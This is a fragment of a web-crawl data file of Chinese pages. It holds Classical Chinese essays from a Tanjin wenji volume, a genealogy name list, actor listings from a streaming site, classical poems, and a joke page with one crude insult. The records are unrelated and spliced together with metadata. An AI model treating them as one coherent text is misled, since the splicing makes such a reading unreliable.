校。迨乎二子德显于商周也。而天下百姓由之正矣。孔子古之圣人也。方力聘之秋犹一旅人而不暇息也。方时命大谬而乱物物焉不失其道也。颜子子思原宪孟轲古之贤人也。穷于幽阎委巷乐然将终其身。而众子也不易其乐。夫德也者。总仁义忠孝之谓也。性也者。原道德思虑之谓也。仁义忠孝修而足以推于人矣。君子之学。学其正也。何必多乎。道德思虑明。而足以安其生矣。圣贤之尽。尽其生也。何必皆乎。是故圣贤之世。而占相卜祝者无所张其巧也。君子之前。而孙吴申商者无所夸其法也。夏人之学曰教。殷人之学曰序。周人之学曰庠。夫三代之学皆所以诏人而学于德也。德义者学之本也。文艺者学之末也。三代之盛其教天下所以学其本也。三代之敝其教天下所以学其末也。学末故天下皆伪也。学本故天下皆厚也。是故君子贵其敦本也。圣贤贵其尽理也。古人有言曰。晋楚之富不可及也。彼以其富我以吾仁。彼以其爵我以吾义。吾何慊哉。古人有言。乐天知命吾何忧乎。穷理尽性吾何疑乎。\n存心\n教人者正其所存。能教也。存心者省其所感。能存也。存心乎善则善类应之。存心乎恶则恶类应之。心其非定象也。在其所存者也。应之非定名也。在其所感者也。其所感苟存而应之。岂不速乎而感应之数未始跌也。吾尝验之。其人闻其为心始善而人鲜不爱之也。闻其为心始恶而人鲜不恶之也。虽喜怒未出其己而彼之爱恶已来。故存心者必慎其所以感之者也。而辩人者必观其所以应之者也。是以圣人感人心而天下和平。故曰。观其所感。而天地万物之情可见矣。有人于此曰。人莫之知以恶心而欺人。迨恶积而祸至。孰曰心不可知乎。有人于此曰。心不可欺。以善心而待人。迨善积而福至。孰曰人可欺乎。故曰。祸福与善恶相交也。呜呼人无全信久矣哉。信其所心而不信其所感也。夫天地至远而诚感之通。性理至神而物感之灭。尧舜不家劝而天下厚。厚之感也。桀纣不人诱而天下伪。伪感之也。感应之谓其可忽乎。休徴者所以应。其善政之所感也。咎徴者所以应。其恶政之所感也。五福者善人所存。吉之验也。六极者恶人所存。凶之验也。天人相与未尝睽也。吁岂天为之。人实召之。夫政者示天下之同之者也。万民之所由也。政之善恶民所以而从之者也。故验之雨旸燠寒风。五者示天下之同之者也。人者一身之自也。人之善恶。身所以而振之者也。验之福极者。示一身之自之者也。方诸感月而水焉。阳燧感日而火焉。云从龙也。风从虎也。南人发歌而(此脱地名二字)草舞。铜山始崩而景阳钟响。此物之相感然也。人道以情感。故生生不穷。圣人以神感。故幽明一通。是故存心于贤而贤至。存心于不肖而不肖来。存心于亲则其子孝。存心于学则其徒劝。所谓出乎尔反乎尔者。斯言近之。\n福解\n世之曰福。专利而言之者也。吾之曰福。专道而言之者也。利道故而判福为两端焉。利福者尝多有也。道福者尝寡有也。多谓众人也。寡谓圣贤也。故曰圣贤之福圣贤之所得也。众人之福众人之所得也。圣贤所得而圣贤乐之。众人所得而众人欲之。欲之故天下竞利也。乐之故天下安性也。是故世之人。无乐之者。不为乐也。有欲之者。非为安也。得圣贤之得谓之重也。得众人之得谓之轻也。重所重所以率天下敦道也。轻所轻所以教天下薄利也。齐侯楚子其富贵天下不逮也。及其以之与侯相争相杀也。虽曰福之其实祸之。颜回原宪其贫贱天下之至也。及其乐道全德而后世慕其美名也。虽曰极之其实福之。今世俗视君子之乐然其身不振曰。福奚为圣贤邪。视高明之家恣势充欲曰。唯福也将跋意而图其富贵。是安福之谓乎。使天下之相率背道而趋利。斯言者之罪也。夫圣贤之福。福之本也。众人之福。福之末也。修本以来末者古人有之。舜其是也。以末而行本者古人有之。周公其是也。犹吾先圣人曰道为福基。可以修行也矣。故君子有道而无富贵曰时也。而君子不慊。有富贵而无道曰忝也。君子耻之。富贵而有道。君子广之也。后世舍圣贤而从众人。不亦轻本而重末乎。本末颠倒则天孰与厚也哉。\n评隐\n文王太伯其同道者哉。文王始之。事纣其隐德焉。泰伯终之。逊吴其隐名焉。君子之出处语默也。皆所以训也。文王太伯之同道同其作训也。故曰。世乱隐德世。治隐名。隐名者所以警其争名者也。隐德者所以远其害德者也。远害者圣人之时也。警争者圣人之化也。化以感人。其圣人之至德也。时以教人。其圣人之大义也。微大义则后世之君臣安得以其道全也。微至德则后世之昭穆安得以其礼序也。天地之道远也。其生可见而其所以生不可见也。圣贤之道亦远也。其为可见而其所以为不可见也。辩生曰。有许由者。轻天下而遁去。其义高而其事疑也。苟事诚而义博。亦可以愧其盗国者之心乎。曰若由者苟不为也。未若圣人之为不苟也。可为则为之也。不可为则不为之也。是故舜依乎中庸而隐也。可则行之否则已之舜哉至矣。不失其道也。一乡之贤隐。则其乡之礼可知也。一书之道隐。则其书之文可知也。故谓文。必工。文不工则失其道也。谓礼必修也。礼不修则失其贤也。是故一天下之治乱由贤人之隐见而所以章也。可不重乎。一贤人之动静将天下之教化而所以劝也。可不慎乎。吕望东海之隐。称隐也。伯夷西山之隐。愤隐也。颜回之隐。不须时不怨世。乐隐也。原宪之隐。不卑论以侪俗。骄隐也。四皓之隐。去以避乱。来以补政。达隐也。谷口郑子真修隐也。成都严君平和隐也。曼倩隐于朝玩隐也。子云隐于官苟隐也。孙思邈卢鸿一处不污道出不屈节。高隐也。张果之隐。诡隐也李泌者身朝而名野。接禄而尚君。假隐也。李(脱名)者身伏而达言。钓隐也。\n喻用\n水固胜火。而善固胜恶也。苟用之不得其道。虽水火善恶亦不可得其胜矣。水之制火。必于火之方然而水可胜矣。善之制恶。必于恶之未形而善可胜矣。及其恶至乎不可掩。而欲推善以救恶。火至乎不可熄。而欲激水以沃火。其势可胜之乎。君子小人者其善恶之所出者也。是故君子用则其政善。小人用则其政恶也。斯欲政善而专用小人。暨其恶炽至乎暴戾。上下欲君子而拯之也。是奚异乎激水而沃者邪。虽有彦圣之人如彼尧舜禹。吾知其无如之何也。故古之善用人者用君子必先而小人必后。君子先用。善得以而制恶也。小人后使。恶得以而迁善也。礼不容小人加乎君子。不使不肖高于其贤。所以隆善而沮恶也。诗云。我心匪石。不可转也。我心匪席。不可卷也。威仪棣棣。不可选也。忧心悄悄。愠于群小。遇闵既多。受侮不少。静言思之。寤辟有标。我心匪石。不可转也者。君子有志可以与守也。威仪棣棣不可选也者。君子有法可以与为也。忧心悄悄愠于群小者。恶小人之加乎君子也。遇闵既多受侮不少者。疾小人之玩政也。静言思之寤辟有标者。怨不用君子也。虽小人之道不能。不加于盛德之家。虽君子之道不能。不沮于已破之国。用舍之政然也。一小人坏之于其前。虽百君子莫能修之于其后。一君子治之于其上。虽百小人莫能乱之于其下。邪正之势然也。越之渔者使其子渔于夷溪。鄙者专之。能者散之(散疑笔误宜作助兼)及鄙负其所使也。网则隳其纪纲而命能者治之。能者终不能也。\n物宜\n君子发身。以道不以财。庶人谋生。以力不以诈。大夫趋事。以义不以利。是三者正。然后天下可以观王道也。夫王道也者正宜也。小大之物正其宜则何有乎乱世也。夫道义固君子大夫之所宜也。利力固庶人之所宜也。曰君子而专财。曰大夫而专利。曰庶人而玩智诈。是丧其宜也矣。大夫处上犹衣也。庶人处下犹裳也。上宜衣而下宜裳必也。苟上而下之。下而上之。不亦倒且乱乎。道其何效哉。冉求尝为季氏宰。为季氏而聚敛。孔子恶之曰。求非吾徒也。小子鸣鼓而攻之。若求者以人而利之。尚不容于君子而如此也。矧以己而利之。孰可容乎。孟子曰。上下交征利而国危矣亮乎安国家天下者。在义不在利也。\n善恶\n有形之恶小也。不形之恶大也。有名之善次也。无名之善至也。有名之善。教而后仁者也。无名之善。非教而仁者也。有形之恶杀人者也。不形之恶谗人者也。谗人之恶存其心。杀人之恶存其事。事可办而心不可见也。教者情也。非教者性也。情可移而性不可变也。玩邻人之子也好语诱之可以喜。恶语激之可以怒。及其趋于父母也。虽美恶之言而不能亲疏之也。其盗跖膳人肉而人皆能恶之。少正卯显于朝而众不能辨之。是故君子善善也。必审其名同。恶恶也。必辨其情异。夫赏罚者所以正善恶也。聪明不能尽其善恶。则不足与议赏罚也故察谗在微。诛谗在持。刑杀宜议。性善者宜任。情善者宜使。察谗不微则不能观其。心之所之也。诛谗不持则不能遏其大恶也。刑杀不议则不能究其诚也。任性善则安危不振也。使情善则威福不专也。善善得其宜也。则大贤尽其德而小贤尽其才也。恶恶得其所也。则谗人悛其心而杀人伏其罪也。孰有正善恶而治道不至乎哉。\n性情\n性贵乎静。故性变而不可太易。情患乎烦。故情发而不可太早。太早则伤和。太易则伤中。反中和则阴阳缪。损民寿而物多疵疠。是故圣人之隆治也。仁以厚人性。义以节人情。是所以阴阳和而遂生物者也。礼教二十而冠者。盖以其神盛而可以用思虑也。教三十而娶者。盖以其气充而可以胜配耦也。故古之君子观阴阳而所以知其性情之得失。观情性所以知圣人之道行否。然后以其得失究其本末相与人主起天下之病癖。虽伊尹匹夫之贱。而犹曰匹夫匹妇。有不被尧舜之泽。若已推而纳诸沟中。尝五就桀五干汤而不沮。其以天下自任如此之勤也。今天下之民方髫髻未剪。而以利害相欺父母则?之。唯其奸巧之不早也。仅童而男已室女已家。过之则淫奔。是不亦性变之太易乎。情发之太早乎。将不有所伤乎。欲世蹈中和。则何异乎适胡而南辕。其安能至之也。吾观阴阳缪则寒暑风雨庸有及时。百谷种植。未始不疾其人。则毙夭者世尝多有。而仁寿者寡焉。适见情性失之之效也。人失情性既如此也。而圣人之道行也。岂曰至乎。谟者尚曰。天下甚宁。是亦谀也。而嚚嚚不肯知其失操。其本为人主。起天下之病。则又奚贵其当时者。古语曰日中则熭。操刀则害。言适用于当时也。若伊尹始穷贱之不暇。彼欲适用。岂当用邪。而伊尹为之。今乘适用之时。摄当用之柄。而不肯为之。不亦为伊尹愧乎。\n九流\n儒家者流其道尚备。老氏者流其道尚简。阴阳家者流其道尚时。墨家者流其道尚节。法家者流其道尚严。名家者流其道尚察。纵横家者流其道尚变。杂家者流其道尚通。农家者流其道尚足。然皆有所短长也。苟拂短而会长。亦足以资治道也。班固本其所出尊儒也。司马迁会其所归尊始也。尊始者其心弘也。尊儒者其心专也。固尝非马氏以其先。黄老为甚缪。是亦固不见其尊儒之至者也。若黄帝之道其在易矣。易也者万物之本。六艺之原也。其先之不亦宜乎。岂班氏之智亦有所不及乎。伯夷之所长者清。而所短者隘。柳下惠之所长者和。而所短者不恭。孟子尊二子之所长。则曰圣人百世之师也。伯夷柳下惠是也。迁之心抑亦与孟氏合矣。故君子善之。\n四端\n司马长卿杨子云。其人其文皆世之称也。及杨子为剧秦美新。长卿为封禅书也。封禅之言怪乎淫徒。加其夸大之心者也。美新之言苟言也。记曰。国无道其默足以容贤而不默孰与默邪。是皆不宜为而为之也。晁错论五帝三王之道谐其极也。宜贤于管子仲晏子婴。及其请削诸侯之封。舌未卷而晁氏以赤其族。盖时未可言而言之也。东方朔枚乘其才俊坌涌飞书走檄不足其奋笔。然皆不能效一官就一政。盖徒才而不得其实能也。刘向刘歆皆汉室之贤儒暨治传也。父子各专师说而家自是非。盖得道而不得其极也。道而不极非道也。才而不效徒才也。发而不时逆理也。为而不宜失义也。是故事贵合宜。智贵识时。器贵适用。法贵折中。中也者道义之端也。用也者器效之端也。时也者动静之端也。宜也者事制之端也。四端者君子之道之至者也。善学者不得其端不尽也。善为者不得其端不举也。是故古之圣贤学道而有道。兴事而济事。存其端而已汉。世之二三子虽激昂而无所成其德。抑亦未得端而然也。\n镡津文集卷第六","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/dzj.fosss.org\/dzz\/16\/2190-t52n2115?start=5","date":"2020-07-05T15:48:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655887377.70\/warc\/CC-MAIN-20200705152852-20200705182852-00189.warc.gz","language":"lzh","language_score":0.4881196618,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4881196618080139, \"cmn_Hani_score\": 0.164817675948143, \"nan_Hani_score\": 0.050830304622650146, \"zxx_Latn_score\": 0.048503343015909195, \"wuu_Hani_score\": 0.02800653502345085, \"jpn_Jpan_score\": 0.022936459630727768, \"und_Tang_score\": 0.01626276783645153, \"und_Xsux_score\": 0.014982021413743496, \"und_Grek_score\": 0.010167749598622322, \"und_Cyrl_score\": 0.0100526949390769}","num_words":42,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.488,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建立家谱,必须先到安徽胡氏宗亲网首页注册会员 家谱首页 家谱列表 世系列表 四铺胡氏家谱—世系列表 代 门 全 A3 A4 树 胡克顺 应庚 应阳 应亨 釨 鈵 润若 泽若 国荣 国桐 怀仁 周仁 天平 天邦 永敏 永让 世才 世格 德芳 德高 心昌 志昌 忠昌 德芹 月昌 世相 世元 永敬 世标 德权 昌伦 天仲 永汉 世皇 德龙 昌明 世堂 德功 德贤 智仁 天圣 永振 世体 德善 运昌 昌云 德欣 林昌 盛昌 景昌 天倚 永谊 世翠 其昌 世珍 德望 凤昌 永瑛 世芝 德运 龙昌 文昌 世兰 德琛 元昌 永修 世道 德连 尊昌 其昌 永典 世庆 德平 元昌 世俊 德胜 宜昌 世龙 德裕 嗣昌 元昌 国傑 全仁 天郡 永茂 世登 世英 世亨 淑若 国相 宗仁 天方 永欣 世爱 天位 永志 世美 世公 国梧 党仁 天付 永平 世臣 世德 鉁 鍾 浏览器不支持嵌入式框架,或被配置为不显示嵌入式框架。","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/ahhszqw.com\/b\/jiapu\/sxlist.asp?jpid=12","date":"2020-08-08T18:24:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738015.38\/warc\/CC-MAIN-20200808165417-20200808195417-00213.warc.gz","language":"lzh","language_score":0.8881582618,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8881582617759705, \"nan_Hani_score\": 0.06651675701141357, \"cmn_Hani_score\": 0.041962817311286926}","num_words":118,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.304,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.909,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E5%94%90%E5%98%89%E9%BA%9F------------.html","date":"2020-10-24T06:53:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107882102.31\/warc\/CC-MAIN-20201024051926-20201024081926-00241.warc.gz","language":"lzh","language_score":0.7228776217,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7228776216506958, \"cmn_Hani_score\": 0.21184568107128143, \"nan_Hani_score\": 0.053526945412158966, \"yue_Hani_score\": 0.010534013621509075}","num_words":203,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.77,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E5%90%B3%E5%98%89%E5%84%80------------.html","date":"2020-10-27T15:25:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107894203.73\/warc\/CC-MAIN-20201027140911-20201027170911-00057.warc.gz","language":"lzh","language_score":0.6733650565,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.67336505651474, \"cmn_Hani_score\": 0.1857682764530182, \"nan_Hani_score\": 0.1255980134010315, \"yue_Hani_score\": 0.014324856922030449}","num_words":239,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.707,"perplexity_score":500.0,"cluster_detection":1} +{"text":"风兮 发表评论 风兮风兮 自河东兮 窈窕淑女 在梦中兮 云兮云兮 过天门兮 盈盈笑语 无故人兮 雨兮雨兮 谱心曲兮 诸法空相 无道侣兮 电兮电兮 至河畔兮 无住生心 菩提现兮 风、云、雨、电的读音从一声(阴平)依次到四声(去声),是不是很好玩?","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/blog.idogicat.com\/misc\/%E9%A3%8E%E5%85%AE.html","date":"2021-07-24T20:41:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150308.48\/warc\/CC-MAIN-20210724191957-20210724221957-00575.warc.gz","language":"lzh","language_score":0.9866882563,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.9866882562637329}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"若沉默是金,則吾歡無事\n譯:如果沉默是金的話,那麼我的幽默就什麼也不是......\n瓜也 帥之 譯 瓜瓜 很帥\n玲也 正之 譯 鬼玲 很正\n哥也 俗之 譯 大哥 很俗\n吾也 屌之 譯 老子 很屌XDD\"\n三人行,必有我師閹\n譯 三人同行時 必定有一個人會想讓我親手閹惹他\n吾往師也 行魚水之歡汝母也\n譯 嘿嘿=ˇ= 想知道的話.....及時問我XDD\"","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/mypaper.pchome.com.tw\/hangy\/post\/1310764744","date":"2022-06-27T08:39:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103329963.19\/warc\/CC-MAIN-20220627073417-20220627103417-00745.warc.gz","language":"lzh","language_score":0.4172388613,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41723886132240295, \"cmn_Hani_score\": 0.3826953172683716, \"nan_Hani_score\": 0.1927756816148758}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.36,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Yu-Chi Lai\n\n\n事情看透,你就明白該如何進行;事情看破,你就不想做事了。\n杜牧【秋夕】\n銀燭秋光冷畫屏,輕羅小扇撲流螢,\n天階夜色涼如水,坐看牽牛織女星。\n諸葛亮\n夫君子之行,靜以修身,儉以養德;非澹泊無以明志,非寧靜無以致遠。\n夫學須靜也,才須學也;非學無以廣才,非志無以成學。\n怠慢則不能勵精,險躁則不能冶性。\n年與時馳,意與歲去, 遂成枯落,多不接世。\n悲守窮廬,將復何及!\n有心栽花花不開,無心插柳柳成蔭\n蘇軾\n橫看成嶺側成峰,遠近高低各不同\n不識蘆山真面目,只緣身在此山中\n白居易\n贈君一法決狐疑,不用鑽龜與祝蓍;\n試玉要燒三日滿,辨材須待七年期\n周公恐懼流言日,王莽謙恭未篡時,\n向使當初身便死,一生真偽復誰知.\n酒逢知己千杯少,\n話不投機半句多\n陸游【釵頭鳳】\n紅酥手。黃藤酒。滿城春色宮牆柳。東風惡。歡情薄。一懷愁緒。幾年離索。錯。錯。錯\n春如舊。人空瘦。淚痕紅邑鮫綃透。桃花落。閑池閣。山盟雖在。錦書難托。莫。莫。莫\n世情薄。人情惡。雨送黃昏花易落。曉風乾。淚痕殘。欲箋心事。獨語斜闌。難。難。難\n人成各。今非昨。病魂曾似秋千索。角聲寒。夜闌珊。怕人尋問。咽淚裝歡。瞞。瞞。瞞\n羅貫中\n滾滾長江東逝水,浪花淘盡英雄,事非成敗轉頭空\n青山依舊在,幾度夕陽紅.\n白發漁樵江渚上,慣看秋月春風\n一壺濁酒喜相逢,古今多少事,\n都付笑談中\n曹雪芹\n世人都知神仙好,惟有功名忘不了;\n古今將相在何方?荒塚一推草沒了!\n李白【將進酒】\n君不見黃河之水天上來,奔流到海不復回?\n君不見高堂明鏡悲白髮,朝如青絲暮成雪?\n人生得意須盡歡,莫使金樽空對月。\n天生我才必有用,千金散盡還復來。\n烹羊宰牛且為樂,會須一飲三百杯。\n岑夫子,丹丘生,將進酒﹐杯莫停。\n與君歌一曲,請君為我傾耳聽。\n鐘鼓饌玉何足貴,但願長醉不願醒。\n古來聖賢皆寂寞,唯有飲者留其名。\n陳王昔時宴平樂,斗酒十千恣歡謔。\n主人為何言少錢,逕須沽取對君酌。\n五花馬,千金裘,呼兒將出換美酒,與爾同消萬古愁。\n樹欲靜而風不止,子欲養而親不在\n白居易【長恨歌】\n漢王重色思傾國,御宇多年求不得.楊家有女出長成,養在深閨人未識.\n天生麗質難自棄,一朝選在君王側.回眸一笑百媚生,六宮粉黛無顏色.\n春寒賜浴華清池,溫泉水滑洗凝脂.侍兒扶起嬌無力,於是新承恩澤時.\n雲鬢花顏金布搖,芙蓉帳暖度春宵.春宵苦短日高起,從此君王不早朝.\n承歡侍宴無閑暇,春從春遊夜專夜.後宮佳麗三千人,三千寵愛在一身.\n金屋妝成嬌侍夜,玉樓宴罷醉和春.姊妹弟兄皆列土,可憐光彩生門戶.\n遂令天下父母心,不重生男重生女.驪宮高處入青雲,仙樂風飄處處聞.\n暖歌慢舞凝絲竹,盡日君王看不足.漁陽瞽鼓動地來,驚破霓裳羽衣曲.\n九重城闕煙塵生,千乘萬騎西南行.翠華搖搖行復止,西出都門百餘里.\n六軍不發無奈何,宛轉蛾眉馬前死.花鈿委地無人收,翠翹金雀玉搔頭.\n君王掩面救不得,回頭血淚相和流.黃埃散漫風蕭索,雪棧縈紆登劍閣.\n峨嵋山下少人行,旌旗無光日色薄.蜀江水碧蜀山青,聖主朝朝暮暮情.\n行宮見月傷心色,夜雨聞鈴腸斷聲.天旋地轉迴龍馭,到此躊躇不能去.\n馬嵬坡下泥土中,不見玉顏空死處.君臣相顧盡沾衣,東望都門信馬歸.\n歸來池苑皆依舊,太液芙蓉未央柳.芙蓉如面柳如眉,對此如何不淚垂?\n春風桃李花開日,秋雨梧桐葉落時.西宮南內多秋草,落葉滿街紅不掃.\n梨園弟子白髮新,椒房阿監青娥老.夕殿螢飛思悄然,孤燈挑盡未成眠.\n遲遲鐘鼓初長夜,耿耿星河欲曙天.鴛鴦瓦冷霜華重,翡翠衾寒誰與共.\n悠悠生死別經年,魂魄不曾來入夢.臨邛道士鴻都客,能以精誠致魂魄.\n為感君王輾轉思,遂教方士殷情覓.排雲馭氣奔如電,升天入地求之偏.\n上窮碧落下黃泉,兩處茫茫皆不見.忽聞海上有神仙,山在虛無縹緲間.\n樓閣玲瓏五雲起,其中綽約多仙子.中有一人字太真,雲膚花貌參差是.\n金闕西廂叩玉扃,轉教小玉報雙成.聞道漢家天子使,九華帳裏夢魂驚.\n攬衣推枕起徘徊,珠箔銀瓶迤邐開.雲髻半偏新睡覺,花冠不整下堂來.\n風吹仙袂飄飄舉,猶似霓裳羽衣舞.玉容寂寞淚闌干,梨花一支春帶雨.\n含情凝睇謝君王,一別音容兩渺茫.朝陽殿裏恩愛絕,蓬萊宮中日月長.\n回頭下望人寰處,不見長安見塵霧.惟將舊物表深情,鈿合金釵將寄去.\n釵留一股留一扇,釵擘黃金合分鈿.但教心似金鈿堅,天上人間會相見.\n臨別殷情重寄調,詞中有誓兩心知.七月七日長生殿,夜半無人私語時.\n在天願作比翼鳥,在地願為連理枝,天長地久有時盡,此恨綿綿無絕期.\n白居易【琵琶行】\n潯陽江頭夜送客,楓葉荻花秋瑟瑟.主人下馬客在船,舉酒欲飲無管弦.\n醉不成歡慘將別,別時茫茫江浸月.忽聞水上琵琶聲,主人忘歸客不發.\n尋聲暗問彈者誰?琵琶聲停欲語遲.移船相近邀相見,添酒回燈重開宴.\n千呼萬喚始出來,猶抱琵琶半遮面.轉軸拔弦三兩聲,未成曲調先有情.\n弦弦掩抑聲聲思,似訴生平不得志.低眉信手續續彈,說盡心中無限事.\n輕攏慢撚抹復挑,初為霓裳後六麼.大弦嘈嘈如急雨,小弦切切如私語.